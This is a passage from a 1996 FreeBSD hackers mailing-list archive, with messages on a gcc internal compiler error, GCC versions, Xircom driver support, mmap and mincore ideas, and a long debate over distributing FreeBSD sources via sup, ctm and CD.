(2.7.3 I believe) if that is the road that is chosen. Gary -- Gary Palmer FreeBSD Core Team Member FreeBSD - Turning PC's into workstations. See http://www.FreeBSD.ORG/ for info. From owner-freebsd-hackers Thu May 16 23:56:09 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id XAA20785 for hackers-outgoing; Thu, 16 May 1996 23:56:09 -0700 (PDT) Received: from uucp.DK.net (uucp@uucp.DK.net [193.88.44.47]) by freefall.freebsd.org (8.7.3/8.7.3) with SMTP id XAA20761 for ; Thu, 16 May 1996 23:56:06 -0700 (PDT) Received: from pingnet (uucp@localhost) by uucp.DK.net (8.6.12/8.6.12) with UUCP id IAA12717; Fri, 17 May 1996 08:55:57 +0200 Received: from kyklopen by ic1.ic.dk with UUCP id AA15236 (5.65c8/IDA-1.4.4j); Fri, 17 May 1996 08:53:01 +0200 Received: (from staff@localhost) by kyklopen.ping.dk (8.7.5/8.7.3) id IAA03929; Fri, 17 May 1996 08:43:00 +0200 (MET DST) Date: Fri, 17 May 1996 08:42:59 +0200 (MET DST) From: Thomas Sparrevohn To: Nate Williams Cc: Josh MacDonald , bug-g++@prep.ai.mit.edu, freebsd-hackers@FreeBSD.org Subject: Re: internal compiler error In-Reply-To: <199605161430.IAA22882@rocky.sri.MT.net> Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Charset: ISO_8859-1 X-Char-Esc: 29 Sender: owner-hackers@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk On Thu, 16 May 1996, Nate Williams wrote: > > Hmm, it works fine under -stable with 2.6.3. > But unfortunately our gcc gives an internal error when it compiles the following program with "-O" and "-O2" but not "-O3" and with out optimizations: /* * Compilation of the following program with gcc -O (v2.6.3 on FreeBSD 2.1.0) * and (v2.6.3 current) yields: * * gcc: Internal compiler error: program cc1 got fatal signal 10 * */ struct s1 { double x, y, z; }; struct s2 { double r, g, b; }; struct s3 { struct s1 p; struct s2 c; }; void create_light(struct s3 *li, double x, double y, double z, double r, double g, double b) { li->p.x = x; li->p.y = y; li->p.z = z; li->c.r = r; li->c.g = g; li->c.b = b; } > #cheap shot on# > This is one of the reasons why we stick w/older versions of GCC. :) > #cheap shot off# > > > Nate > From owner-freebsd-hackers Fri May 17 00:20:05 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id AAA22447 for hackers-outgoing; Fri, 17 May 1996 00:20:05 -0700 (PDT) Received: from frig.mt.cs.keio.ac.jp (frig.mt.cs.keio.ac.jp [131.113.32.7]) by freefall.freebsd.org (8.7.3/8.7.3) with SMTP id AAA22361 for ; Fri, 17 May 1996 00:19:49 -0700 (PDT) Received: (from hosokawa@localhost) by frig.mt.cs.keio.ac.jp (8.6.12+2.4W/3.4Wbeta3) id QAA27692; Fri, 17 May 1996 16:19:16 +0900 Date: Fri, 17 May 1996 16:19:16 +0900 Message-Id: <199605170719.QAA27692@frig.mt.cs.keio.ac.jp> To: nate@sri.MT.net Cc: terry@lambert.org, kevin@NDA.COM, freebsd-hackers@FreeBSD.org, hosokawa@mt.cs.keio.ac.jp Subject: Re: xircom hardware specs In-Reply-To: Your message of Thu, 16 May 1996 22:09:09 -0600. <199605170409.WAA25691@rocky.sri.MT.net> From: hosokawa@mt.cs.keio.ac.jp (HOSOKAWA Tatsumi) X-Mailer: mnews [version 1.18PL3] 1994-08/01(Mon) Sender: owner-hackers@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk In article <199605170409.WAA25691@rocky.sri.MT.net> nate@sri.MT.net writes: >> I thought it was you that posted it, but obviously not. And, that >> posting is *wrong*. (Actually, the Xircom modem works with some hacks >> that were removed due to Xircom's policies.) Hosokawa doesn't even want >> to support Xircom given the plethora of 'decent' companies out there. My opinion: In fact, I'm *interested* in whether Xircom's card works under our package, but I don't know whether it works because I don't want to buy Xircom's card. I heard from Linux community that Xircom has violated GPL (they used GPL'ed code for their driver, and they did not provide sources). This is one of the largest reason why I don't want to support Xircom's cards. If it's not true and if there is a driver for Xircom's card, I could distribute driver for Xircom's cards. -- HOSOKAWA, Tatsumi E-mail: hosokawa@mt.cs.keio.ac.jp WWW homepage: http://www.mt.cs.keio.ac.jp/person/hosokawa.html Department of Computer Science, Keio University, Yokohama, Japan From owner-freebsd-hackers Fri May 17 00:52:07 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id AAA24965 for hackers-outgoing; Fri, 17 May 1996 00:52:07 -0700 (PDT) Received: from MindBender.HeadCandy.com (root@[199.238.225.168]) by freefall.freebsd.org (8.7.3/8.7.3) with ESMTP id AAA24958 for ; Fri, 17 May 1996 00:52:04 -0700 (PDT) Received: from localhost.HeadCandy.com (michaelv@localhost.HeadCandy.com [127.0.0.1]) by MindBender.HeadCandy.com (8.7.5/8.6.9) with SMTP id AAA16653; Fri, 17 May 1996 00:51:49 -0700 (PDT) Message-Id: <199605170751.AAA16653@MindBender.HeadCandy.com> X-Authentication-Warning: MindBender.HeadCandy.com: Host michaelv@localhost.HeadCandy.com [127.0.0.1] didn't use HELO protocol To: Peter Mutsaers cc: freebsd-hackers@freebsd.org Subject: Re: internal compiler error In-reply-to: Your message of 17 May 96 00:14:30 +0200. <87loisb709.fsf@plm.simplex.nl> Date: Fri, 17 May 1996 00:51:48 -0700 From: "Michael L. VanLoon -- HeadCandy.com" Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk [Gcc...] >But the newer versions are quite a bit faster. I used to use Linux >until recently and it uses 2.7.2 for everything, so it must be >possible for FreeBSD too. It is a pity to ignore such easy performance >gain. Actually, in many cases the latest versions of GCC can be substantially slower because it's such a pig, compared to a few years ago. GCC 1.4.5 was used by NetBSD looong after GCC 2 was released. It was very quick, easy on memory, and very stable (read not very buggy). GCC 2.x.x in the 2.5.x time-frame was a buggy mess, from the many accounts I've heard. The two biggest reasons they finally switched to 2.x.x were because 1) GCC 2.7 finally fixed enough of the bugs that it was deemed usable, and some of the non-i386 ports (like the 68K) didn't produce very good code in 1.4.5, and 2) there were just some features they needed to move forward (many of them having to do with obscure non-Intel processors, from what I remember). The core group has said more than once, however, that if they could find another ANSI-compliant compiler, source-distributable, not under the GPL (well, under a Berkeley-style license), that was much smaller and simpler, and worked well with all the architectures, they'd jump to it without a complaint. Lcc is one that has come up several times, but has been deemed "not quite ready, yet". I'm sure the FreeBSD "powers-that-be" have similar motives. Just because Linux does something is hardly a reason to follow. In fact, there has been many a time where that is exactly why I *didn't* do something. ----------------------------------------------------------------------------- Michael L. VanLoon michaelv@HeadCandy.com --< Free your mind and your machine -- NetBSD free un*x >-- NetBSD working ports: 386+PC, Mac 68k, Amiga, Atari 68k, HP300, Sun3, Sun4/4c/4m, DEC MIPS, DEC Alpha, PC532, VAX, MVME68k, arm32... NetBSD ports in progress: PICA, others... Roll your own Internet access -- Seattle People's Internet cooperative. If you're in the Seattle area, ask me how. ----------------------------------------------------------------------------- From owner-freebsd-hackers Fri May 17 00:53:00 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id AAA25039 for hackers-outgoing; Fri, 17 May 1996 00:53:00 -0700 (PDT) Received: from irz301.inf.tu-dresden.de (irz301.inf.tu-dresden.de [141.76.1.11]) by freefall.freebsd.org (8.7.3/8.7.3) with SMTP id AAA25015 for ; Fri, 17 May 1996 00:52:54 -0700 (PDT) Received: from sax.sax.de by irz301.inf.tu-dresden.de (8.6.12/8.6.12-s1) with ESMTP id JAA15816 for ; Fri, 17 May 1996 09:51:02 +0200 Received: by sax.sax.de (8.6.12/8.6.12-s1) with UUCP id JAA26825 for freebsd-hackers@freebsd.org; Fri, 17 May 1996 09:51:02 +0200 Received: (from j@localhost) by uriah.heep.sax.de (8.7.5/8.6.9) id JAA05268 for freebsd-hackers@freebsd.org; Fri, 17 May 1996 09:28:59 +0200 (MET DST) From: J Wunsch Message-Id: <199605170728.JAA05268@uriah.heep.sax.de> Subject: Re: A MMAP observation To: freebsd-hackers@freebsd.org (FreeBSD hackers) Date: Fri, 17 May 1996 09:28:59 +0200 (MET DST) In-Reply-To: <199605170358.UAA18769@phaeton.artisoft.com> from Terry Lambert at "May 16, 96 08:58:30 pm" X-Phone: +49-351-2012 669 X-PGP-Fingerprint: DC 47 E6 E4 FF A6 E9 8F 93 21 E0 7D F9 12 D6 4E X-Mailer: ELM [version 2.4ME+ PL17 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk As Terry Lambert wrote: > I saw a posting of a UNIX ODBC on comp.sources.unix about 8 months > ago (+/- 2 months). > I thought it was server-only code. It might have been client-only > code. Like I said -- uninteresting. I remember an announcement in the Perl newsgroup about a Perl module acting as an ODBC client. -- cheers, J"org joerg_wunsch@uriah.heep.sax.de -- http://www.sax.de/~joerg/ -- NIC: JW11-RIPE Never trust an operating system you don't have sources for. ;-) From owner-freebsd-hackers Fri May 17 01:01:00 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id BAA25410 for hackers-outgoing; Fri, 17 May 1996 01:01:00 -0700 (PDT) Received: from bunyip.cc.uq.oz.au (pp@bunyip.cc.uq.oz.au [130.102.2.1]) by freefall.freebsd.org (8.7.3/8.7.3) with SMTP id BAA25403 for ; Fri, 17 May 1996 01:00:55 -0700 (PDT) Received: from bunyip.cc.uq.oz.au by bunyip.cc.uq.oz.au id <28211-1@bunyip.cc.uq.oz.au>; Fri, 17 May 1996 18:00:10 +1000 Received: from netfl15a.devetir.qld.gov.au by pandora.devetir.qld.gov.au (8.6.10/DEVETIR-E0.3a) with ESMTP id RAA05446 for ; Fri, 17 May 1996 17:41:06 +1000 Received: by netfl15a.devetir.qld.gov.au (8.6.8.1/DEVETIR-0.1) id HAA05958; Fri, 17 May 1996 07:41:11 GMT Date: Fri, 17 May 1996 07:41:11 GMT Message-Id: <199605170741.HAA05958@netfl15a.devetir.qld.gov.au> X-Newsreader: knews 0.9.4 References: From: sysseh@devetir.qld.gov.au (Stephen Hocking) Subject: Re: C Programming Question X-Original-Newsgroups: local.freebsd.hackers In-Reply-To: To: freebsd-hackers@freefall.FreeBSD.org Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk In article , "Marc G. Fournier" writes: > >Hi... > > I'm trying to do something that I feel should be relatively >brain dead to do, but can't get it to work...change an ascii string >to a double. > > I've tried using atof() and strtod(), and both return the >same answer...0. > Remember to include math.h or declare atof to be double. Stephen -- The views expressed above are not those of the Worker's Compensation Board of Queensland, Australia. From owner-freebsd-hackers Fri May 17 01:01:53 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id BAA25477 for hackers-outgoing; Fri, 17 May 1996 01:01:53 -0700 (PDT) Received: from time.cdrom.com (time.cdrom.com [204.216.27.226]) by freefall.freebsd.org (8.7.3/8.7.3) with ESMTP id BAA25471 for ; Fri, 17 May 1996 01:01:50 -0700 (PDT) Received: from localhost (localhost [127.0.0.1]) by time.cdrom.com (8.7.5/8.6.9) with SMTP id BAA13425; Fri, 17 May 1996 01:00:33 -0700 (PDT) To: "Brett L. Hawn" cc: hackers@FreeBSD.org Subject: Re: hrmm In-reply-to: Your message of "Fri, 17 May 1996 00:45:19 CDT." Date: Fri, 17 May 1996 01:00:33 -0700 Message-ID: <13423.832320033@time.cdrom.com> From: "Jordan K. Hubbard" Sender: owner-hackers@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk > I've been sitting here watching ICMPs for kicks and I had an idea though I > can't say as how useful it might be... I was thinking of a kernel level ICMP > logging utility that would be set using sysctl with appx 3 different levels > of logging. Or how about this idea: Have a general purpose packet-filter device (call it, say, bpfilter) and a program to read from it in whatever detail you wish. We could call that program `tcpdump' :-) Jordan From owner-freebsd-hackers Fri May 17 01:44:02 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id BAA28095 for hackers-outgoing; Fri, 17 May 1996 01:44:02 -0700 (PDT) Received: from bunyip.cc.uq.oz.au (pp@bunyip.cc.uq.oz.au [130.102.2.1]) by freefall.freebsd.org (8.7.3/8.7.3) with SMTP id BAA28078 for ; Fri, 17 May 1996 01:43:59 -0700 (PDT) Received: from bunyip.cc.uq.oz.au by bunyip.cc.uq.oz.au id <02706-0@bunyip.cc.uq.oz.au>; Fri, 17 May 1996 18:43:53 +1000 Received: from orion.devetir.qld.gov.au by pandora.devetir.qld.gov.au (8.6.10/DEVETIR-E0.3a) with ESMTP id SAA08067 for ; Fri, 17 May 1996 18:44:28 +1000 Received: by orion.devetir.qld.gov.au (8.6.10/DEVETIR-0.3) id SAA07967; Fri, 17 May 1996 18:40:18 +1000 Date: Fri, 17 May 1996 18:40:18 +1000 From: Stephen McKay Message-Id: <199605170840.SAA07967@orion.devetir.qld.gov.au> To: freebsd-hackers@freebsd.org cc: syssgm@devetir.qld.gov.au Subject: Re: joe's questions on vm/mincore/etc. X-Newsreader: NN version 6.5.0 #1 (NOV) Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Joe Greco wrote: >> something i'd like to have but have not spent time figuring out how to do >> is just directly mmap the ptes for a piece of your own address space. >> Then you don't have to take the hit that mincore requires: >> syscall >> walk ptes >> copyout() >> >> So if anyone out there has mmap'ed their own ptes or knows how, i'm >> listening. > >Oooo we're rapidly diverging from a portable solution now! :-) ;-) > >(I was looking at this in part because it works under at least one other >major OS, SunOS/Solaris, and I run news servers under both environments). At first glance his suggestion looks hideously non-portable, but there is nothing stopping you from writing a system call that does the mapping, and a FreeBSD/i386 specific library routine (called mincore) which gropes the mapped ptes and gives you your answer. Second and subsequent mincore calls would not call the kernel. Thus you keep the published interface and published behaviour, yet have nasty (hopefully fast) code behind the scenes. You could implement that SystemV ipc stuff with these sorts of tricks too, and eject it from the kernel. Anyone for a kernel purity purge? :-) Stephen. From owner-freebsd-hackers Fri May 17 02:35:55 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id CAA02248 for hackers-outgoing; Fri, 17 May 1996 02:35:55 -0700 (PDT) Received: from haldjas.folklore.ee (Haldjas.folklore.ee [193.40.6.121]) by freefall.freebsd.org (8.7.3/8.7.3) with SMTP id CAA02219 for ; Fri, 17 May 1996 02:35:28 -0700 (PDT) Received: (from narvi@localhost) by haldjas.folklore.ee (8.6.12/8.6.12) id MAA00298; Fri, 17 May 1996 12:38:08 +0300 Date: Fri, 17 May 1996 12:38:08 +0300 (EET DST) From: Narvi To: "Michael L. VanLoon -- HeadCandy.com" cc: "Serge A. Babkin" , hackers@freebsd.org Subject: Re: EDO & Memory latency In-Reply-To: <199605170540.WAA15791@MindBender.HeadCandy.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Thu, 16 May 1996, Michael L. VanLoon -- HeadCandy.com wrote: > > >And I am (like others might) having the dreams of SRAM-only computer, no > >matter how one with more/faster processors + ordinary memory might perform. > > Then you must be a lot richer than I am! ;-) No, I am actually quite convinced in the opposite. They are just dreams where the processors don't have to wait and wait and wait... And quite unprobable to go this way. As a matter of fact, am I too wrong in thinking that the caches of the 486 were 30ns or something? Watch out for something big to replace their 486 for Pentiums and you may have a gold mine just next to you... Alas, there is nothing matching that description near me (Getting a motherboard for them is another story). > > ----------------------------------------------------------------------------- > Michael L. VanLoon michaelv@HeadCandy.com > --< Free your mind and your machine -- NetBSD free un*x >-- > NetBSD working ports: 386+PC, Mac 68k, Amiga, Atari 68k, HP300, Sun3, > Sun4/4c/4m, DEC MIPS, DEC Alpha, PC532, VAX, MVME68k, arm32... > NetBSD ports in progress: PICA, others... > > Roll your own Internet access -- Seattle People's Internet cooperative. > If you're in the Seattle area, ask me how. > ----------------------------------------------------------------------------- > Sander From owner-freebsd-hackers Fri May 17 03:13:37 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id DAA05318 for hackers-outgoing; Fri, 17 May 1996 03:13:37 -0700 (PDT) Received: from DATAPLEX.NET (SHARK.DATAPLEX.NET [199.183.109.241]) by freefall.freebsd.org (8.7.3/8.7.3) with ESMTP id DAA05308 for ; Fri, 17 May 1996 03:13:33 -0700 (PDT) Received: from 199.183.109.242 by DATAPLEX.NET with SMTP (MailShare 1.0fc5); Fri, 17 May 1996 05:13:22 -0600 Message-ID: Date: 17 May 1996 05:13:10 -0500 From: "Richard Wackerbarth" Subject: Re(2): Standard Shipping Containers - A Proposal for Distributing FreeBSD To: "hackers@FreeBSD.org" , "Michael Smith" X-Mailer: Mail*Link PT/Internet 1.6.0 Sender: owner-hackers@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk > All this discussion is telling us is that there are several different ways > by which FreeBSD source code is distributed, and each of these > different ways works well for different people. Agreed. > What's wrong with things as they are? Why should anyone feel compelled to change things if they're not broken? They are broken! And I don't want to have to keep repeating the generation of patches to fix them. It is analogous to having a port of something (say gcc) and no way to get your modifications folded back into the author's release. Every time he comes out with a new release, someone has to generate a new set of patches. Here is what's broken: 1) For the new sup user to get started, sup has to download the entire source tree, even though the user already has most of it from the tarball or the CD. 2) For the ctm user.the same is true of the tarball. Things are better from the 2.1.0 CD. However, our staff (I get stuck with it) will have to generate a separate starter file for use with the 2.1.1 CD. 3) The ctm user has to maintain a complete history set of ctm updates in order to restore a damaged tree. He cannot use sup for this purpose. 4) The whole process of setting up a new user is too confusing even if they RTFM. It would become much easier to describe the process if we eliminate the exceptions. -- ...computers in the future may have only 1,000 vacuum tubes and weigh only 1/2 tons. -- Popular Mechanics, March 1949 From owner-freebsd-hackers Fri May 17 03:51:58 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id DAA06785 for hackers-outgoing; Fri, 17 May 1996 03:51:58 -0700 (PDT) Received: from itesec.hsc.fr (root@itesec.hsc.fr [192.70.106.33]) by freefall.freebsd.org (8.7.3/8.7.3) with ESMTP id DAA06779 for ; Fri, 17 May 1996 03:51:54 -0700 (PDT) Received: from tetard.hsc.fr (tetard.hsc.fr [192.70.106.43]) by itesec.hsc.fr (8.7.5/8.7.3/itesec-1.8) with ESMTP id MAA06705; Fri, 17 May 1996 12:51:51 +0200 (MET DST) Received: (from regnauld@localhost) by tetard.hsc.fr (8.7.5/8.7.3/tetard-uucp-2.8) id MAA06281; Fri, 17 May 1996 12:51:27 +0200 (MET DST) From: Philippe Regnauld Message-Id: <199605171051.MAA06281@tetard.hsc.fr> Subject: Re: Re(2): Re(2): Standard Shipping Containers - A Proposal for Distributing FreeBSD To: rkw@dataplex.net (Richard Wackerbarth) Date: Fri, 17 May 1996 12:51:27 +0200 (MET DST) Cc: hackers@freebsd.org (hackers) In-Reply-To: from Richard Wackerbarth at "May 17, 96 00:06:16 am" X-Mailer: ELM [version 2.4ME+ PL15 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Richard Wackerbarth écrit / writes: > Nate responds: [...] > > > Since those who have the direct access are not really inhibited by this > proposal, I suggest that you reconsider it in view of the other 99.99% of the > folks for whom my assumptions apply. [...] > I'll take another shot at that comment. It is no wonder the Linux is more > popular. The reason Linux is more popular is that it was very tied to the Minix community early in its life. (Many people owning 386s then were looking for a system with real memory protection). Also, it was the first freely available Unix, and still benefits from the early start. > I'm glad that Jordan doesn't adopt your "keep it hard to do" > attitude. There are thousands who manage to get the sources IN SPITE OF THE > DIFFICULTIES in their way. Errm, so far I've only seen a majority of people satisifed with the installation procedure (like those "great work guys" messages we see popping up every once in a while) AND the source distribution system ("Wow, it's much easier to keep up with FBSD, 'cause at least there's only one source). IMHO, Linux is STILL a pain in the ass, and 3/4 Linux owners around me are "waiting for that new Debian release so I can trash my xxxx". Not to mention keeping the kernel in sync with the rest of the system when Torvalds goes epileptic. > Whetheror not they SHOULD be getting them is > another question. But they do. And in doing so, they consume a very large > amount of "our" computer resources. If we can make it possible for them to do > things more efficiently, everyone will benefit. If It Ain't Broke, Don't Fix It. > The things that I suggested are really only minor changes to the operating > procedure. But those changes and have a major impact on the ease of use of the > final product. What do people think ? So far I've seen one complaint about ftp.ee.freebsd.org. -- Phil -- +-------------------+---------------------------------------+-----------------+ | Philippe Regnauld |_______Herve Schauer Consultants_______| regnauld@hsc.fr | +-------------------+FreeBSD - Turning PCs into Workstations+-----------------+ From owner-freebsd-hackers Fri May 17 04:58:05 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id EAA11330 for hackers-outgoing; Fri, 17 May 1996 04:58:05 -0700 (PDT) Received: from DATAPLEX.NET (SHARK.DATAPLEX.NET [199.183.109.241]) by freefall.freebsd.org (8.7.3/8.7.3) with ESMTP id EAA11323 for ; Fri, 17 May 1996 04:58:02 -0700 (PDT) Received: from 199.183.109.242 by DATAPLEX.NET with SMTP (MailShare 1.0fc5); Fri, 17 May 1996 06:57:55 -0600 Message-ID: Date: 17 May 1996 06:57:44 -0500 From: "Richard Wackerbarth" Subject: Re: Standard Shipping To: "Philippe Regnauld" Cc: "FreeBSD Hackers" X-Mailer: Mail*Link PT/Internet 1.6.0 Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > Richard Wackerbarth Žcrit / writes: > Errm, so far I've only seen a majority of people satisifed with the installation procedure (like those "great work guys" messages I can only quote from the previous Walnut Creek Catalog. "Slackware Linux is very easy to install" and similar quotes. I agree that Jordan has done an EXCELLENT job at improving the ease of installation. It will only take some time for the word to spread. IMBO, we have a better product. That does not mean that we cannot improve it. While most of the "hackers" concentrate on the code in the release, I'm attempting to address the distribution channels. > If It Ain't Broke, Don't Fix It. > What do people think ? So far I've seen one complaint about ftp.ee.freebsd.org. I think you may be asking the wrong crowd. Most of you don't see the activity that I am addressing. Or the e-mail that I get about using CTM. You are not the ones who have to archive multiple copies of 30M files that all contain the same information packaged in slightly different formats. You are not the one who has to generate a special "patch" for each new CD that is released. My proposal is to install a mechanism that simplifies the situation for the users. The implementation is not difficult. And once the scripts are changed, they will keep things going automatically rather than requiring repeated manual intervention. -- ...computers in the future may have only 1,000 vacuum tubes and weigh only 1/2 tons. -- Popular Mechanics, March 1949 From owner-freebsd-hackers Fri May 17 05:01:15 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id FAA11592 for hackers-outgoing; Fri, 17 May 1996 05:01:15 -0700 (PDT) Received: from genesis.atrad.adelaide.edu.au (genesis.atrad.adelaide.edu.au [129.127.96.120]) by freefall.freebsd.org (8.7.3/8.7.3) with ESMTP id FAA11585 for ; Fri, 17 May 1996 05:01:12 -0700 (PDT) Received: from msmith@localhost by genesis.atrad.adelaide.edu.au (8.6.12/8.6.9) id VAA12708; Fri, 17 May 1996 21:42:21 +0930 From: Michael Smith Message-Id: <199605171212.VAA12708@genesis.atrad.adelaide.edu.au> Subject: Re: Re(2): Standard Shipping Containers - A Proposal for Distributing FreeBSD To: rkw@dataplex.net (Richard Wackerbarth) Date: Fri, 17 May 1996 21:42:20 +0930 (CST) Cc: hackers@FreeBSD.org, msmith@atrad.adelaide.edu.au In-Reply-To: from "Richard Wackerbarth" at May 17, 96 05:13:10 am MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk Richard Wackerbarth stands accused of saying: > Here is what's broken: > > 1) For the new sup user to get started, sup has to download > the entire source tree, even though the user already has most > of it from the tarball or the CD. This is irrevocable. The tree on the CD is on a dead-end branch, and can't trivially be bent back to either of the main threads without a monster master update. The proposal of putting the CVS repository on a/the CD is a much smarter idea. This would make it practical to check out part or all of the tree in a state ready to be updated. > 4) The whole process of setting up a new user is too confusing > even if they RTFM. It would become much easier to describe the > process if we eliminate the exceptions. 1. Go to /usr/src 2. say 'sup -v /usr/share/examples/sup/standard.supfile' Go have a pleasant dinner. What could be simpler? ctm is fine for people who want read-only source, and are willing to carry it all. sup is much better for people who like to tinker with their tree. And consider this: if someone can't manage either ctm or sup, how the f* do you expect them to do anything useful with the source? -- ]] Mike Smith, Software Engineer msmith@atrad.adelaide.edu.au [[ ]] Genesis Software genesis@atrad.adelaide.edu.au [[ ]] High-speed data acquisition and (GSM mobile) 0411-222-496 [[ ]] realtime instrument control (ph/fax) +61-8-267-3039 [[ ]] Collector of old Unix hardware. "Where are your PEZ?" The Tick [[ From owner-freebsd-hackers Fri May 17 05:12:51 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id FAA12342 for hackers-outgoing; Fri, 17 May 1996 05:12:51 -0700 (PDT) Received: from itesec.hsc.fr (root@itesec.hsc.fr [192.70.106.33]) by freefall.freebsd.org (8.7.3/8.7.3) with ESMTP id FAA12337 for ; Fri, 17 May 1996 05:12:48 -0700 (PDT) Received: from tetard.hsc.fr (tetard.hsc.fr [192.70.106.43]) by itesec.hsc.fr (8.7.5/8.7.3/itesec-1.8) with ESMTP id OAA08163; Fri, 17 May 1996 14:12:45 +0200 (MET DST) Received: (from regnauld@localhost) by tetard.hsc.fr (8.7.5/8.7.3/tetard-uucp-2.8) id OAA06448; Fri, 17 May 1996 14:12:21 +0200 (MET DST) From: Philippe Regnauld Message-Id: <199605171212.OAA06448@tetard.hsc.fr> Subject: Re: Standard Shipping To: rkw@dataplex.net (Richard Wackerbarth) Date: Fri, 17 May 1996 14:12:21 +0200 (MET DST) Cc: hackers@freebsd.org (hackers) In-Reply-To: from Richard Wackerbarth at "May 17, 96 06:57:44 am" X-Mailer: ELM [version 2.4ME+ PL15 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Richard Wackerbarth écrit / writes: > > What do people think ? So far I've seen one complaint about > ftp.ee.freebsd.org. > > I think you may be asking the wrong crowd. Most of you don't see the activity > that I am addressing. Or the e-mail that I get about using CTM. True -- this question should be asked to -current users, as they are the ones directly concerned with the update system. But I think that most of them will still not see anything wrong with it: like you said, people like you (distributors) are having the difficulties, and maybe people at the end of the chain (i.e.: the people doing these updates) will not see the problem. > My proposal is to install a mechanism that simplifies the situation for the > users. The implementation is not difficult. And once the scripts are changed, > they will keep things going automatically rather than requiring repeated > manual intervention. So if the situation is difficult for the users, they should be asked. -- Phil -- +-------------------+---------------------------------------+-----------------+ | Philippe Regnauld |_______Herve Schauer Consultants_______| regnauld@hsc.fr | +-------------------+FreeBSD - Turning PCs into Workstations+-----------------+ From owner-freebsd-hackers Fri May 17 05:44:00 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id FAA13625 for hackers-outgoing; Fri, 17 May 1996 05:44:00 -0700 (PDT) Received: from DATAPLEX.NET (SHARK.DATAPLEX.NET [199.183.109.241]) by freefall.freebsd.org (8.7.3/8.7.3) with ESMTP id FAA13618 for ; Fri, 17 May 1996 05:43:56 -0700 (PDT) Received: from 199.183.109.242 by DATAPLEX.NET with SMTP (MailShare 1.0fc5); Fri, 17 May 1996 07:43:51 -0600 Message-ID: Date: 17 May 1996 07:43:41 -0500 From: "Richard Wackerbarth" Subject: Re: Standard Shipping Containers To: "Michael Smith" Cc: "FreeBSD Hackers" X-Mailer: Mail*Link PT/Internet 1.6.0 Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Michael Smith replies: > Richard Wackerbarth stands accused of saying: > > Here is what's broken: > > > > 1) For the new sup user to get started, sup has to download > > the entire source tree, even though the user already has most > > of it from the tarball or the CD. > > This is irrevocable. No it is not! Think of the CD as a backup tape. If you put the appropriate files on the CD, the user has EXACTLY the same thing he would have if he had backed up his "up and running" sup'ped tree. The next, or in this case first, time he updates, he retrieves ONLY the files that have since changed. > The tree on the CD is on a dead-end branch, and > can't trivially be bent back to either of the main threads without > a monster master update. Wrong! Compare the 1M src-2.1.0060C.gz file to the 28M A.gz file. The savings are obvious. > The proposal of putting the CVS repository on a/the CD is a much smarter idea. This would make it practical to check out part or all of the tree in a state ready to be updated. Not really. The CVS tree goes out of date faster than any other. As I see it, any tree on a CD is really just a "backup". Either you are willing to work with potentially out-of-date sources or you need to have the mechanism to use that backup as a starting point to minimize the size of the update required. What I am advocating is to create a unified distribution scheme so that the user can choose the most appropriate means of update. Also for most people, the CVS tree is a problem. Not only is it relatively difficult to learn to use, but it requires two (plus) copies of the source, the extracted copy and the cvs archive. This applies to EVERY file, even those that the user never changes. > What could be simpler? ctm is fine for people who want read-only > source, People who "tinker" with their source tree and then use sup to restore it are wasting valuable resources, bandwitch and "our" server's cpu time. Anyone who has enough space to store both a tree and the routines that they have modified should be treating the tree as read-only. How else are they going to generate the "diff"s? Remember that it does not require two copies of the tree. (See "lndir") > and are willing to carry it all. I agree that this is a weakness of the present ctm scheme. I am addressing it also. The scheme that I have in mind would allow the user to choose his own criteria for which portions of the tree he keeps. Right now, "mirror" is the only mechanism that allows this possibility. With sup you are forced into predefined categories and, as you point out, right now with ctm there is only one category, the whole source tree. > sup is much better for people who like to tinker with their tree. > > And consider this: if someone can't manage either ctm or sup, how > the f* do you expect them to do anything useful with the source? It's not a question of their ability. It is the ease of getting there. After all, if you 